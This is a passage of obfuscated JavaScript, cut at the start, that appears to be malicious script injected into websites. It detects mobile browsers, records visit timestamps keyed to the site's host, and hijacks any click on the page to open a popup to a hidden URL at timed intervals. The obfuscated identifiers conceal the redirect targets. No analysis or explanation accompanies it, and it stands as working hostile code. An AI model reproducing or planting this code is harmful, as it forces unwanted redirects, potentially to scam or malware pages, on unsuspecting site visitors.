_0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());